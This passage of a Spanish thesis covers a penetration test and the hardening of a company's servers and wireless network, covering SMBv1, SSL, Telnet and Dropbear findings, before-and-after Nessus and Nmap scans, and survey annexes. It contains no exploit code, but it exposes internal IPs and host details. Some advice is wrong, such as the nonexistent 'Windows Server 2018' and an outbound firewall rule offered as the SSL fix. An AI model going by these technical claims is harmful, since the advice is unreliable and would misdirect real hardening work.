Tabla 3.7 Vulnerabilidades en Servicio de Aplicaciones

PUERTO ESTADO SERVICIO VULNERABILIDAD

443/tep Abierto | Ssl/https Critica
445/tep Abierto | Microsott-ds | Media
80/tcp Abierto | Http Media

Fuente: Roberto Chango y Daniela Gualpa
3.5.4 Vulnerabilidades en la red WLAN.

3.5.4.1 Vulnerabilidad en el Access Point Primario.

En la prueba de pentesting realizada anteriormente, se pudo detectar un conjunto
de vulnerabilidades en el Access Point primario definidos en la tabla 3.8.

Tabla 3.8 Vulnerabilidades en Access Point Primario

PUERTO ESTADO SERVICIO VULNERABILIDAD
22/tep Abierto Ssh Alta
1900/tcp | Abierto Upnp Media

S3/tep Abierto Domain Baja
Fuente: Roberto Chango y Daniela Gualpa

3.5.4.2 Vulnerabilidad en el Router de Internet.

La prueba realizada anteriormente en el router de internet de la organizacion se
detectd un bajo nivel de seguridad en cuanto al acceso wifi protegido (WPA). La
contrasefia de la red wifi fue descifrada facilmente, ya que esta contenia solo nimeros tal

como se muestra en la figura 3.27.
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3.6 Analisis de riesgo de las Vulnerabilidades Detectadas
3.6.1 RIiesgos en Servidor de Archivos.

3.6.1.1 Vulnerabilidades de Microsoft Windows SMBv1.

El servidor de archivos tiene activado el SMBv1 (bloque de mensajes del servidor

de Microsoft). El cual se ve amenazado por las siguientes vulnerabilidades encontradas:

e En la difusion de informacion en SMBv1 conforme al mal uso de los paquetes del
mismo. Esta brecha de seguridad se puede vulnerar facilmente mediante un paquete
SMBv1 que puede ser disefiado especificamente para exponer informacion
confidencial y valiosa de la organizacion.

e En la denegacion de servicio en SMBvV1 por el manejo incorrecto de las solicitudes
del mismo. Esta vulnerabilidad se puede explotar con una solicitud SMB
particularmente disefiada para detener el funcionamiento del servidor que este no
responda, siendo esto muy perjudicial para un servidor que trabaja las 24 horas dentro
de la empresa Rhelec Ingenieria.

e En la ejecucion remota de comandos sobre SMBv1 debido al manejo incorrecto de
los paquetes del mismo. Esta vulnerabilidad podria explotarse utilizando un paquete
caracteristico de SMBvV1 especialmente disefiado para la ejecucion de un codigo
arbitrario hacia el servidor de la empresa.

e Autenticacion de sesion nula SMB, que podria permitir una inicializacion de sesion
con una sesion cero, es decir, sin nombre de usuario ni contrasefia y dependiendo de
la configuracidn y estructuracion de la misma, es posible que los piratas informaticos
aprovechen este problema en particular de esta brecha de seguridad para obtener datos

e informacion confidencial una vez obtenido acceso al servidor de la organizacion.

3.6.2 Riesgos en Servidor Web

3.6.2.1 Vulnerabilidad de Servicio Telnet sin cifrar

El servicio de Telnet remoto que utiliza la empresa se lleva a cabo un servicio
telnet mediante un canal no cifrado. En la actualidad, no es muy recomendable utilizar
Telnet a través de un canal no cifrado, porque los nombres de usuario, contrasefias y los
comandos se envian en texto no encriptado. Esto facilita a los ciberdelincuentes remotos

interceptar una sesién de telnet para asi conseguir credenciales y otra informacion
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corporativa confidencial de la empresa y asi pueda alterar el trafico intercambiado entre
el cliente y el servidor. Por lo antes mencionado, es preferible usar SSH a que Telnet,
porque telnet resguarda acreditacion de escuchas ilicitas y puede transmitir flujos de datos

adicionales, como por ejemplo sesiones X11.

3.6.3 Riesgos en Servidor de Aplicaciones.

3.6.3.1 Vulnerabilidad en el Protocolo SSL Version 2y Version 3.

Este servicio remoto acepta conexiones cifradas en las versiones de SSL 2.0 y

SSL 3.0, las mismas se ven afectadas por varias fallas, que incluyen:

e Un esquema de relleno inseguro con cifrados CBC.

e Esquemas inseguros de renegociacion y reanudacion de sesiones.

e Un atacante puede explotar estas fallas para realizar ataques de intermediario o para
descifrar las comunicaciones de datos entre el servicio afectado y los clientes.

3.6.4 Riesgos en Red Wian.

3.6.4.1 Riesgo en Access Point Primario.

3.6.4.1.1 Vulnerabilidad en Dropbear SSH Server.

En el Access Point primario se ejecuta una version de Dropbear SSH antecedente
a 2016.74, la cual es antigua y por eso se ve amenazado por las siguientes

vulnerabilidades:

e Se detecta una falla en el enlace de formato debido a la manipulacién inadecuada
de los especificadores de formato de sucesion en los inicios de sesion de usuarios
y argumentos de los hosts. Esta vulnerabilidad se puede explotar ejecutando un
codigo arbitrario con privilegios de root.

e Se detecto una falencia en dropbear convert debido al mal manejo de archivos de
claves en OpenSSH disefiados especialmente. Esta vulnerabilidad se puede
explotar para ejecutar codigo arbitrario.

e Se encontrd una falla en el dbclient al momento de manejar los argumentos -m o
-c en las secuencias de comandos. Esta vulnerabilidad se puede explotar mediante

un script que puede ser disefiado especialmente para correr un cédigo arbitrario.
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CAPITULO 4
ESTRATEGIAS PARA MEJORAR LAS SEGURIDADES
4.1  Controles a ser Implementados para Fortalecimiento (hardening)
4.1.1 Acciones para Vulnerabilidades en Servidor de Archivos.

Estas vulnerabilidades son consideradas las mas criticas detectadas en las pruebas
de pentesting, ya que estas permiten la activacion remota de cddigo si un ciberdelincuente
envia textos configurados a un servidor Microsoft Server Message Block version 1.0
(SMBV1). Este restablecimiento de seguridad es importante para todas las traducciones
simultaneas de Microsoft Windows. Para contrarrestar estas vulnerabilidades se aplican

las siguientes acciones mencionadas a continuacion:

e Instalar la actualizacion del parche de seguridad correspondiente para el sistema
operativo Windows Server 2018 (kb 4012213), el cual es posible descargar desde la
pagina oficial de los parches de seguridad de Windows. Este corrige las
vulnerabilidades mencionadas anteriormente al corregir esencialmente como
SMBvV1 maneja las solicitudes existentes.

e Deshabilitar el protocolo SMBvV1 en los componentes de cliente y servidor en el
sistema del servidor de archivos. Esta medida de seguridad lo recomienda la seguridad
de Microsoft Windows.

e Crear politicas de seguridad (GPO) para establecer configuraciones o parametros en
la red de dominio y asi establecer politicas.

4.1.2 Acciones para Vulnerabilidades en Servidor de Aplicaciones.

La vulnerabilidad critica del servidor de aplicaciones se da por el puerto abierto
443/tcp, esto se da debido a que acepta conexiones de SSL 2.0 y SSL 3.0, con esto un
hacker de sombrero negro puede explotar esta vulnerabilidad para penetrar las
comunicaciones de datos entre el servicio amenazado y los clientes. Este protocolo podria
obviarse ya que no es necesario tener abierto el puerto 443 para este servicio, por lo que

lo la accion a implementar es:
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e Configurar el puerto 443 en las reglas de salida del Firewall de Windows para permitir
la conexion a este puerto solo si la conexion es segura, caso contrario se denegaria el
trafico de datos por el puerto 443.

e Lawvulnerabilidad media detectada por el puerto 445 en cuanto a protocolo de SMBvV1,
la accion a implementar es:

e Deshabilitar el protocolo SMBVL1 de las caracteristicas de Windows para mitigar esta
vulnerabilidad, ya que en Windows Server 2016 se puede utilizar las versiones

superiores a este protocolo
4.2 Andlisis del Equipamiento para el Fortalecimiento (hardening)
4.2.1 Equipamiento para Windows Server 2012.

Para el fortalecimiento (hardening) en el servidor de archivos de la empresa
Rhelec Ingenieria es primordial el equipamiento de programa de actualizacion de parche
de seguridad para el sistema operativo Windows Server creada por Microsoft para la
vulnerabilidad del protocolo SMBV1 que contrarresta los exploits utilizados en contra del
mismo, debido a que SMBV1 fue un gran éxito en su época, pero no fue desarrollado para
el mundo conectado de hoy en dia, que existe mucha mas tecnologia y facilidad para
vulnerar protocolos antiguos, después de todo, han pasado varios afios de la revolucién
de la informacién desde entonces. Microsoft ya deprecio SMBvV1 en la actualidad por lo
que recomienda deshabilitar ese protocolo. Debido a su tecnologia obsoleta, SMBv1 es
muy inseguro. Tiene muchas vulnerabilidades las cuales pueden ser explotadas por
algunos exploits desarrollados para el protocolo SMBv1 y muchos de estos permiten la

ejecucion de control remoto en una maquina objetivo.

Las Politicas de grupo son una herramienta importante porque brindan una forma
agrupada de administrar y aplicar todos los tipos de configuraciones de sistemas
operativos, aplicaciones y configuracion de los usuarios respecto a Active Directory.
Estas configuraciones ayudaran al mejor manejo de administracién de usuarios en la
empresa Rhelec Ingenieria. Los equipamientos para este fortalecimiento (hardening) a
implementar en el servidor de archivos son herramientas de software que se instala y se

configura para las brechas de seguridad encontradas anteriormente.
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4.3 Instalacion y Configuracion de Hardening
4.3.1 Hardening en servidor de archivos.

Una vez definida las diferentes acciones y herramientas a usar para mitigar la
mayoria de vulnerabilidades encontradas en el servidor de archivos con sistema operativo
Windows Server 2012, el siguiente paso es la implementacion de la misma dentro del

servidor de archivos

4.3.1.1 Parche de seguridad para Windows Server 2018 (KB 4012213).

Este parche de seguridad es uno de los tantos que ofrece Microsoft Windows para
las distintas vulnerabilidades encontradas en los diferentes sistemas operativos, los cuales
se pueden obtener de la pagina oficial de Microsoft. Para la instalacién del parche de
seguridad KB 4012213, una vez descargado el parche se ejecuta como cualquier otro

programa de instalaciéon, como se representa en la figura 4.1 y figura 4.2

Figura 4.1 Instalacién del parche de seguridad KB 4012213

Instalador independiente de Windows Update

o Instalador independiente de Windows
Update

;Desea instalar la siguiente actualizacién de software
de Windows?

Actualizacion de seguridad para Windows
(KB4012213)

Fuente: Roberto Chango y Daniela Gualpa

Después de haber aceptado la instalacion, se ejecuta las actualizaciones
correspondiestes al parche de seguirdad, para ser implementadas una vez que se reinicie

el sistema haciendo desaparecer la vulnerabilidad critica MS17-010.

4.3.1.2 Inhabilitacién de SMBv1.

Para proceder a deshabilitar la opcion de soporte para compartir archivos, se
procede a ingresar al administrador del servidor para posteiormente entrar al asistente de
quitar roles y caracteristicas donde se selecciona el servidor de la empresa en este caso es
“server.RHELEC.local” con IP:192.168.0.254/24, como se muestra en la figura 4.2.

Figura 4.2 Seleccion del servidor de archivos dentro del administrador del servidor
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= Administrador del servidor

(=9 Asistente para quitar roles y caracteristicas == =2
Seleccionar servidor de destino e i ot

Seleccione un servidor o un disco durs virtual del que se quitaran roles y caracteristicas.

@) Seleccionar un servidor del grupo de servidores
) Seleccionar un disco duro virtual

Grupo de servidores

Filtro:

Mombre Direccién IP Sistema operativo

server.RHELEC local 192.168.0.254 Microsoft Windows Server 2012 R2 Essentials.

Fuente: Roberto Chango y Daniela Gualpa

Una vez seleccionado el servidor, se ingresa a caracterticas, se busca y se
desmarca el casillero donde se enceuntra “SMB 1.0/CIFS File Sharing Support”, como

se muestra en la figura 4.3

Figura 4.3 Inhabilitacion de la caracteristica de SMB 1.0

= Asistente para quitar roles y caracteristicas -

SERVIDOR DE DESTINO

Quitar caracteristicas cerver RHELEC Iocal

Para quitar una o varias caracteristicas instaladas del servidor seleccionado, desactive las casillas
correspondientes.

Caracteristicas Descripcion

inst ™ -MET Framework 3.5 combines the
power of the .NET Framework 2.0
APls with new technologies for
building applications that offer
stalado) appealing user interfaces, protect

- your customers' personal identity
information, enable seamless and
secure communication, and provide
the ability to model a range of
business processes.

Caracteristicas

SMB 1.0/CIFS File S

haring Support

Fuente: Roberto Chango y Daniela Gualpa

Finalmente, se confirma la Inhabilitacion de SMB 1.0, para que al reiniciar el

sistema, se apliquen los cambios y desaparezca otra vulnerabilidad alta del servidor.

Figura 4.4 Confirmacion de deshabilitacion de SMB 1.0

= Asistente para quitar roles y caracteristicas -

SERVIDOR DE DESTING

Confirmar selecciones de eliminacidon “emver RHELEC tocal

Para quitar los siguientes roles, servicios de rol o caracteristicas del servidor seleccionado, haga clic en
Quitar.

Antes de comenzar

[] Reiniciar automaticamente el servidor de destino en caso necesario

SMEB 1.0/CIFS File Sharing Support

Confirmacion

Fuente: Roberto Chango y Daniela Gualpa
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4.3.1.3 Creacion de Politicas de Grupo (GPO).

Las politicas de grupo seran de gran ayuda para administrar los diferentes usuarios
organizacionales, para que estos no tengan privilegios de acceso dentro de la red
empresarial. Para proceder con la creacion de las GPOs se desglosa el bosque

“RHELEC.local” para aplicar las politicas en el subdominio matriz, como se puede

observar en la figura 4.5

Figura 4.5 Seleccidn de subdominio para las politicas GPOs

B Administracion de directivas de grupo - |0 X
3 Archivo  Accién  Ver Ventana Ayuda

@ 7[E 8| XE | B
5L Administracién de directivas de g| | MATRIZ
Pl _ﬁ Bosque: RHELEC Jocal
4[5 Dominios
4 2 RHELECIocal Orden dé'vinculos GPO Exigido Vinculo habiltado Estado de GPO Fittra WMI
[ Default Domain Po 1 #i Wallpaper Rhelec No si Habiitado Minguno
4 ,: Domain Controllers 2 .: Bloquear Panel de Control No S5i Habilitada Minguno
ai Default Domain
2] MATRIZ v
» =7 DS BUIEIEC

Objetos de directiva de grupo vinculados | Herencia de directivas de grupo | Delegacién

Fuente: Roberto Chango y Daniela Gualpa

Una vez selecionado el domino se crea una nueva GPO para que se pueda habilitar

junto con las otras politicas ya existentes, como se observa en la figura 4.6.

Figura 4.6 Creacion de una nueva politica GPO

Y Administracion de directivas de grupo - 0| X

2 Archivo Accion  Ver Ventana Ayuda
= zE 8| XEG H=
Iministracidn de directivas de grupo ~| | MATRIZ
, Bosque: RHELEC local
=4 Dominios
4 3 RHELEC.local COrden dé'vinculos GPO Exigido Vinculo habiltado Estado de GPO Filtre|
5| Default Domain Plicy = 1 sz] Wallpaper Rhelsc No Si Habiltado Ning

4 2] Domain Controllers A 2 5:/ Bloguear Panel de Control No Si Habiltado Ming

Objetos de directiva de grupo vinculados | Herencia de directivas de grupo | Delegacién

si/ Default Domain Controller
4 @] MATRIZ

si/ Bloquear Panel de Control
si| Wallpaper Rhelec

o Activos Fijos

51 Bodega Nuevo GPO ILI
o | Calidad
2| Compras Nombre:

b

b

b

b

b [&] Contabilidad [67O Generl |
b (i GERENCIAS

b
b
b
b
b

21 Mantenimiento GPO de inicio de origen

2| Proyectos | {ninguna} hd |
2| Recepcion

3] RRHH Aceptar

2 Salud Ocupacional

Fuente: Roberto Chango y Daniela Gualpa

En la figura 4.7 se puede obser a que delegaciones nomas esta ligada esta nueva

politica GPO creada para la administracion segura de usuarios.

Figura 4.7 Delegacion de la nueva politica GPO
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=i/ Wallpaper Rhelec

= Administracion de directivas de grupo - g x
2L Archive Accién Ver Ventana Ayuda
@ #n[E d B
Irministracién de directivas de grupo ~ || @PO General
 Bosque: BHELEC'IMEI Ambito | Detalles | Configuracién | Delegacion
% Dominios
4 5 RHELEC local Estos grupos y usuarios tienen los permisos especificados para este GPO.
[ Default Domain Policy Grupos y usuarios
4 2| Domain Controllers Nombre - Permisos vélidos Heredado
= Default Domain Controller f2 Authenticated Users Lectura {de Fitrado de sequridad) No
4 (2] MATRIZ ﬁ{ Domain Admins (RHELEC\Domain Admins) Editar corfiguracidn, eliminar, modificar sequridad Mo
s/ Bloquear Panel de Control 2, Enterprise Admins (RHELEC\Enterprise Admins) Editar corfiguracidn, liminar, modficar seguridad Mo
[ GPO General J{ ENTERPRISE DOMAIN CONTROLLERS Lectura No
§2, SYSTEM Editar corfiguracidn, eliminar, modificar sequridad Mo

Fuente: Roberto Chango y Daniela Gualpa

4.3.1.4 Hardening en Servidor de Aplicaciones.

En el Servidor de archivos se encontr6 una vulnerabilidad critica en el puerto 443,
la cual se pudo evidenciar en el servidor haciendo una revision para saber si el puerto 443
estd abierta para alguna direccion IP. La prueba se lo realizd en el simbolo del sistema

con el comando “netstat -an”, como se puede apreciar en la figura 4.8

Figura 4.8 Ejecucion del comando “netstat -an” para revision puerto 443

Fuente: Roberto Chango y Daniela Gualpa

Para dar solucidn a esta brecha de seguridad, se debe ir al Firewall de Windows
para buscar en configuraciones avanzadas que regla de salida esta activada al acceso

remoto del puerto 443, la cual se observa en la figura 4.9.

Figura 4.9 Seleccidn del puerto remoto 80,443 en Firewall Windows
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@ Firewall de Windows con seguridad avanzada - =] b <
Archivo  Accion  Ver Ayuda
e 2@ = BE

I Reglas deentrada ([0 Grupo Perfil Ha.. Accién In. Progra.. Direcci.. Direcciéu. Protoc.. Puer.. Puertoremoto || Reglasdesalida -

K3 Reglas de salida
B Reglas de sequridad|  ComPpartirarchivos eimpreso... Compatirarchiv.. Todo No  Pemmitic No  System  Cuslqui.. Cuslqui.. UDP  Cusl. 137 & Nuevaregla..
g Deteccion de redes (nombre .. Deteccionderedes Todo No  Pemmitir No  System  Cualqui.. Cualqui.. UDP  Cual. 137

B Supervision ¥ Filtrar por perfil »

Compatir archivos e impreso.. Compattirarchiv.. Todo No Pemitic No System Cuslqui.. Cuslqui.. UDP  Cusl. 138
Deteccion de redes (datagram... Deteccion deredes Todo No Pemitic No System Cualqui.. Cualqui. UDP  Cual. 138 Y Filtrar por estado y
Compattc archivos e impreso.. Compatticarchiv.. Todo No Pemitic No System Cualqui.. Cuslqui.. TCP  Cusl. 139 ¥ Fitrar por grupo >
Enrutamiento y acceso remot... Enrtamientoya.. Todo No Pemitic No System Cualqui.. Cuslqui. UDP  Cual.. 1701 - :
Enrutamiento y acceso remot.. Enrutamientoys.. Todo No Pemiti No System Cuslqui.. Cuslqui.. TCP  Cusl. 1723 S
Deteccion de redes (SSOP de 5. Deteccion deredes Todo No  Pemiic No  %Syste.. Cuslqui.. Subredl. UDP  Cual. 1900

@ Funcionalidad de transmitir e.. Funcionalided de... Priv.. Si  Permitir No  %Syste.. Cualqui.. Represe.. TCP Cual.. 2177 = Exportar lista...

@ Funcionalidad de transmitire... Funcionalidad de.. Priv.. Si  Pemmitic No %Syste.. Cualqui. Represe. UDP  Cual. 2177 Ayuda
Deteccién de redes (UPnP de .. Detecciénderedes Todo No Pemiti No System Culqui.. Cuslqui. TCP  Cusl.. 2869
Deteccion de redes (UPnPHos... Deteccion de redes Todo No  Pemnitic No  %Syste.. Cualqui.. Subredl. TCP  Cual.. 2869 Cliente de caché hospedada de Bran., &
Deteccion de redes (Pub-WSD... Detecciénderedes Todo No Pemitic No %Syste.. Culqui.. Subredl. UDP  Cual.. 3702 & Deshabilitar regla
Deteccion de redes (WSD des.. Deteccion deredes Todo No Pemitic No  %Syste.. Cualqui.. Subredl. UDP  Cual. 3702 & Conar
Deteccién del mismo nivel de... BranchCache: det.. Todo No Pemitic No syste.. Cuslqui.. Subredl. UDP  Cual. 3702 S
Compartr archivos e impreso.. Compartirarchiv.. Todo No Pemitic No System  Cuslqui.. Cuslqui. TCP  Cual. 445 =

© Redes principales: directiva de... Redesprincipales  Do.. Si  Pemmitic No System  Cualqui.. Cualqui. TCP  Cual 445 K Eliminar

€ Redes principales: DNS (UDP .. Redes principales  Todo  §i  Pemmitic No  %Syste.. Cudlqui.. Cualqui. UDP  Cual.. 53 5] Propiedades
Compattic archivos e impreso.. Comparticarchiv.. Todo No Pemiti No %Syste.. Cuslqui.. Subredl. UDP  Cudl.. 5355 i

Deteccion de redes (LMNR-.. Deteccionderedes Todo No  Pemnitic No  %Syste.. Cualqui.. Subredl. UDP  Cual.. 5355
Deteccién de redes (Eventos d... Detecciénderedes Todo No Pemitic No System  Cualqui.. Cuslqui.. TCP  Cual.. 5357
Deteccion de redes (Eventoss... Deteccionderedes Todo No Pemnitir No  System  Cualqui.. Cualqui.. TCP  Cual.. 5358
@ Redes principales: Protocolo .. Redes principales  Todo  Si  Pemmitic No  %Syste.. Cuslgui.. Cuslqui. UDP 546 547
€ Redes principales: Protocolo .. Redesprincipales  Todo  Si Pemmitic No  %Syste.. Cualqui.. Cuslqui. UDP 68 67
Recuperacién de contenido d... BranchCache:rec.. Todo No Permitic No SYSTEM Cualqui.. Cuslqui. TCP  Cual.. 80

7] Cliente de caché hospedada d... BranchCache: cli Si Permitic SYSTEM  Cualqui... Cualqui ;
6n de tarietas int... No Permitic No %Svste.. Cualovi.. Cualoui.. TCP Cual.. Cuslauiers

Fuente: Roberto Ch ngo y Daniela Gualpa

Finalmente, para aplicar la solucion a esta brecha de seguridad, en la opcién
propiedades de la regla de salida seleccionada anteriormente, se debe seleccionar en la

opcion permitir la conexion si es segura, tal como se muestra en la figura 4.10.

Figura 4.10 Seleccién de conexion segura para el puerto 443

Propiedades: Cliente de caché hospedada de BranchCache (HTTP de sali... X
Ambito Opciones avanzadas Entidades de segurnidad locales
General Programas y servicios Equipos remotos Protocolos y puertos

@ Esta regla esta predefinida y algunas propiedades no se
pueden modificar.

' Nombre:
2_‘ Ime de cacheé hospedada de BranchCache (HT TP de salida)l

Descripcion:

Regla de salida para que BranchCache pemnita la
conexidén a un servidor de caché hospedada [TCP]

Habilitado

9 (O Pemitir la conexidén
& (@ Pemmitir la conexidn si es segura

Personalizar.

(O Blogquear la conexién

Fuente: Roberto Chango y Daniela Gualpa

4.4. Pruebas Realizadas con la Implementacion del Hardening
4.4.1 Pruebas en Servidor de Archivos.

Despues de haber implementados las estrategias de fortalecimiento en el servidor
de archivos, se realizé un nuevo escaneo de vulnerabilidades en el mismo, para observar
el resultado en cuanto a la efectividad de los fortalecimientos. Mediante la herramienta
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Nessus se realizd el escaneo del servidor con IP:192.168.0.254 y el resultado fue
excelente ya que desparecieron en totalidad las vulnerabilidad que se habian detectado,

tal como se puede observar en la figura 4.11.

Figura 4.11 Escaneo del servidor con hardening en Nessus

DENING

Vulnerabilities 12 VPR Top Threats History 1

Q1

Fuente: Roberto Chango y Daniela Gualpa

Una vez finalizado el escaneo al servidor de archivos, se definieron aquellas
vulnerabilidades encontradas que no representan riesgo alguno, ya que tan solo son de

muestra informacién, como se puede evidenciar en la figura 4.12.

Figura 4.12 Vulnerabilidades informativas encontradas en el servidor de archivos con

hardening

Fuente: Roberto Chango y Daniela Gualpa

En la figura 4.13 se realiza el escaneo de vulnerabilidad puntual al puerto 445 del
servidor de archivos, por el cual fue atacado, y claramente se puede evidenciar que por
medio de las acciones de fortalecimiento han desaparecido las brechas de seguridad

detectadas anteriormente.

Figura 4.13 Escaneo del bulnerabilidad al puerto 445 en Nmap
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/home/roberto

ap vuln 192.168.0.254
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-27 20:30 -85
Pre-scan script results:
| broadcast-avahi-dos:
] Discovered hosts:
I 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not wulnerable).
Nmap scan report for 192.168.0.254

Host is up (©.0@038s latency).

PORT STATE SERVICE VERSION

445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: RHELEC)
MAC Address: C4:34:6B:22:97:B4 (Hewlett Packard)

Service Info: Host: SERVER; 05: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| _smb-vuln-ms1@-@54: false
| _smb-vuln-ms1@-@61: NT_STATUS_ACCESS_DENIED

Fuente: Roberto Chango y Daniela Gualpa

Como se puede evidenciar en la figura 4.14. Las pruebas realizadas después de
haber implementado las estrategias de fortalecimiento, todas estas tuvieron un éxito
rotundo ya que desaparecieron todas las vulnerabilidades encontradas anteriormente, lo

cual se puede decir que fue un excelente fortalecimiento de casi al 100%.

Figura 4.14 Comparacion de vulnerabilidades con y sin hardening en servidor archivos

Comparacion vulnerabilidades servidor archivos

140
1z1
120

20

60

40 5 £l
o . III
2 o i} 1] 1 i}
o —_— | R
CRITICO ALTO MEDIO BAIO INFORMATIVO
| SIN HARDENING CON HARDEMNING

Fuente: Roberto Chango y Daniela Gualpa

Con la implementacion de las estrategias de fortalecimiento en el servidor de
archivos se pudo afirmar que: Las vulnerabilidades criticas, altas, medianas y baja
desaparecieron en su totalidad, lo cual es excelente gracias a las estrategias de
fortalecimiento implementadas al servidor de archivos y las vulnerabilidades
informativas se redujeron de 121 a 30, lo cual como su nombre lo indica solo son de uso

informativo.
4.4.2 Pruebas en Servidor de Aplicaciones.

Después de haber implementados las estrategias de fortalecimiento en el servidor
de aplicaciones, se empleo un nuevo escaneo de vulnerabilidades en el mismo, para

observar el resultado de que tan efectivos fueron los fortalecimientos. Mediante la
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herramiena Nessus se realizé el escaneo del servidor con 1P:192.168.0.193 y es resultado
fue demasiado bueno ya que desparecieron en su totalidad las vulnerabilidad criticas y
mediana que se habian detectado anteirormente, tal como se puede observar en la figura
4.15.

Figura 4.15 Escaneo del servidor con hardening en Nessus

Configure  Audit

19 VPRTopThreats History 1

Q | 1H

Vulnerabilities v

Fuente: Roberto Chango y Daniela Gualpa

Una vez finalizado el escaneo al servidor de aplicaciones, se definieron las
vulnerabilidades encontradas, las cuales se redujeron considerablemente, como se puede

evidenciar en la figura 4.16.

Figura 4.16 Vulnerabilidades encontradas en el servidor de aplicaciones con hardening

Fuente: Roberto Chango y Daniela Gualpa

En la figura 4.17 se evidencia la gran disminucion de vulnerabilidades que hubo
con la implementacion de las estrategias antes mencionadas hacia el servidor de

aplicaciones para mitigar las brechas de seguridad.

Figura 4.17 Comparacion de vulnerabilidades con y sin hardening en servidor

aplicaciones
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Fuente: Roberto Chango y Daniela Gualpa

Con la implementacion de las estrategias de fortalecimiento en el servidor de

aplicaciones se pudo afirmar que:

e Una vulnerabilidad critica que habia desaparecio totalmente.

e Las dos vulnerabilidades criticas que habia desaparecieron totalmente.

e De las once vulnerabilidades se redujeron a 1, lo cual es bastante bien.

e Las 63 vulnerabilidades de informacion se redujeron a 33, lo cual solo son
vulnerabilidades de informacion.
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CONCLUSIONES

En analisis situacional de seguridad realizado en Rhelec, permitid detectar la ausencia
de estrategias de seguridad implementadas, determinando que la infraestructura se
posee un alto nivel de vulnerabilidades y de riesgos para diversos tipos de ataques.

Las pruebas de pentesting realizadas en los equipos méas importantes de la empresa,
permitieron detectar el alcance de los posibles ataques y su afectacion al explotar las
vulnerabilidades, ademas de las consecuencias en cuanto a no atender los riesgos

latentes de estas debilidades.

El disefio de un escenario de pruebas permitioé simular ataques de hackeo utilizando
fuerza bruta y de barrido puertos abiertos de los servidores, las cuales ayudaron a
detectar diversas vulnerabilidades para posteriormente aplicar acciones correctivas en

los dispositivos (Hardening).

Las estrategias de fortalecimiento (hardening) en los servidores de archivos y
aplicaciones resultaron exitosas, ya que se pudieron mitigar todos los riesgos de Alta
severidad de estado critico, y 11 riesgos de estado Medio que se redujeron a 1 s6lo

riesgo.
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RECOMENDACIONES

Este trabajo de investigacion pudiera ser considerado como una guia para otras
empresas que deseen incurrir en pruebas de testeo de la seguridad de la informacion,
con el fin de mejorar sus controles para identificar vulnerabilidades mediante

evaluaciones autorizadas.

Dada la importancia de la seguridad, se sugiere mantener actualizado el hardware, y
las aplicaciones, ya que por lo general cada nueva version incluye correcciones de

errores y otras funciones que permiten un funcionamiento adecuado del software,

Las organizaciones deben preocuparse por escribir, aplicar y revisar sus politicas y
procedimientos de seguridad de forma continua para reducir los riesgos de

ciberataques y prevenir problemas futuros en sus operaciones.

Es necesario considerar un programa de capacitacion para los empleados en temas de
seguridad y ciberseguridad incluyendo los principales riesgos a los que estan
expuestos sus activos, los ataques mas comunes y las principales recomendaciones

para evitar estos incidentes.

Se sugiere crear un plan de pentesting periodico para detectar amenazas y
vulnerabilidades a través de la metodologia ISSAF, como parte de una estrategia para

la implementacién de acciones de mitigacion de riesgos.
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ANEXOS

Anexo 1. Encuesta realizada a la empresa Rhelec Ingenieria.

ENCUESTA AL DEPARTAMENTO DE SISTEMAS

1. ;Gestiona el uso seguro y correcto del correo electrénico empresarial y de las redes
sociales en la organizacion?

a. Si b. No

Gréfico 1. Porcentaje de Respuesta pregunta 1

Pregunta N° 1

= Si mMNo

Fuente: Roberto Chango y Daniela Gualpa

Interpretacion. — En este grafico el 100% representa, que el empleado no gestiona de
manera adecuada el uso del correo electronico y redes sociales de la organizacion,
presentando gran riesgo en pérdidas informaticas.

2. ¢Controla la seguridad de los usuarios y de los datos empresariales que conforman las
areas o departamentos de la empresa?

a. Si b. Algunos c. No

Gréfico 2. Porcentaje de Respuesta pregunta 2

Preguntas M°2

= Si = Algunos No

Fuente: Roberto Chango y Daniela Gualpa

Interpretacion. - Se puede visualizar que el empleado en su mayoria no supervisa en
algunas areas o departamentos de la empresa, resultando asi en consecuencias negativas
por el descuido de las mismas como el robo de informacion.

3. ¢Cuentan con un plan de prevencion de riesgos en cuanto a la seguridad de la
informacion?

a. Si b. No

Gréfico 3. Porcentaje de Respuesta pregunta 3

o1



Pregunta N° 3

]

oo

m S m No

Fuente: Roberto Chango y Daniela Gualpa

Interpretacion. - El 100% demuestra que el area de sistema no cuenta con un plan de
prevencién, por lo que la organizacion se encuentra altamente vulnerable a sufrir ataques.

4. ¢Alguna vez se ha realizado pruebas de hackeo ético (pentesting) en el sistema de
seguridad informatica en la empresa?

a. Si b. No c. Desconozco

Grafico 4. Porcentaje de Respuesta pregunta 4.

Pregunta MN~4

o

100

= Si = Mo Desconozoco

Fuente: Roberto Chango y Daniela Gualpa

Interpretacion. -EI 100 % indica que la persona encargada del area de sistemas nunca ha
evaluado a través de pruebas de hacking ético la seguridad informatica lo cual es una
desventaja, ya que en la actualidad la organizacion esta mas propensa a ataques

5. ¢En la empresa existe algun manual de politica de seguridad de la informacion?

a. Si b. No

Grafico 5. Porcentaje de Respuesta pregunta 5.
Pregunta M° 5

m 51 = MNo

Fuente: Roberto Chango y Daniela Gualpa

Interpretacion. -EIl 100 % indica que dentro de la empresa si existe un manual de politica
de seguridad informaética, sin embargo, el desconocimiento de como aplicar las normas
que se deben cumplir pone en desventaja al personal, ya que su manual es muy basico.

6. ¢En la red WLAN, la empresa tiene restricciones de acceso a sitios web sociales y de

diversion?
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a. Si b. No

Grafico 6. Porcentaje de Respuesta pregunta 6.
Pregunta N~ &

[u]

100

= Si MNO

Fuente: Roberto Chango y Daniela Gualpa

Interpretacion. -EI 100 % indica que la red Wlan no existe restriccion de acceso a sitios
de red ocio.

Encuesta realizada a las diferentes areas de la empresa Rhelec
7. ¢Conoce usted si su computadora de trabajo tiene instalado un Software de Antivirus?

a. Si b. No ¢. Desconozco

Gréfico 7. Porcentaje de Respuesta pregunta 7.

Pregunta N° 7

o

- s MNo @ Desconozoo

Fuente: Roberto Chango y Daniela Gualpa

Interpretacion. -El 80% de los empleados de la empresa conocen sobre el software
antivirus instalado en las computadoras de su trabajo y la importancia que tiene, mientras
que el 20% al no conocer si su maquina de trabajo posee un software antivirus se vuelve

mas vulnerable ante cualquier tipo de virus.
8. ¢Qué version de Windows tiene instalado en su computador de trabajo?

a. Windows7 b. Windows 8 c. Windows 8.1 d. Windows 10 e. Otros

Grafico 8. Porcentaje de Respuesta pregunta 8.
Pregunta N°8

